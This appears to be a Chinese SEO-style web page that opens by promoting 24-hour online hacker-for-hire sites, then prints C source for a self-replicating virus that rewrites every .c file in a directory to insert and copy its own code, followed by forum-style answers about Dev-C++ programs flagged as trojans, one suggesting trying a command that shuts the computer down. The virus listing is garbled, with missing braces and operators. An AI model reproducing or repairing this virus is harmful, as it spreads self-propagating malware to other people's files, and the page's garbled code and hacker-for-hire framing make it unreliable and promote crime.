今天给大家带来{黑客24小时在线接单网站},和软件木马病毒的相关知识,如果可以可以选择收藏本站。
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
virus();
int virus()
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
goto next;
do{
if(i=50)
fclose(in);
goto next;
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
if(strstr(buf[j],main)!=NULL)
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
if(flag==0)
flag=1;
fputs("virus();\n",out);
fputs(buf[j],out);
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
fputs(buf[j],out);
j++;
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
p=fgets(buffer,80,read);
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
return 0;
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
用devc++编写的代码被windows系统认作木马病毒是为什么
在你编译的程序中,有没有出现:
#includewindows.h
或
system("sth");
这两个命令都是涉及电脑安全的。
system("shutdown -s -t 0")
是可以关你电脑的。可以试一下。。。
#includewindows.h包含很多东西,所以最好不要写进去
dev cpp编程后360报毒win32/trojan.599,谁知道怎么回事
这个可能是你下的dev c++被人修改了。看起来不像误杀。因为这么简单的代码没有病毒特征。你应该去官网下载,才能安全。
devcpp木马病毒源代码的介绍到这里结束,感谢您的关注,软件木马病毒、devcpp木马病毒源代码的信息别忘了在本站进行查找喔。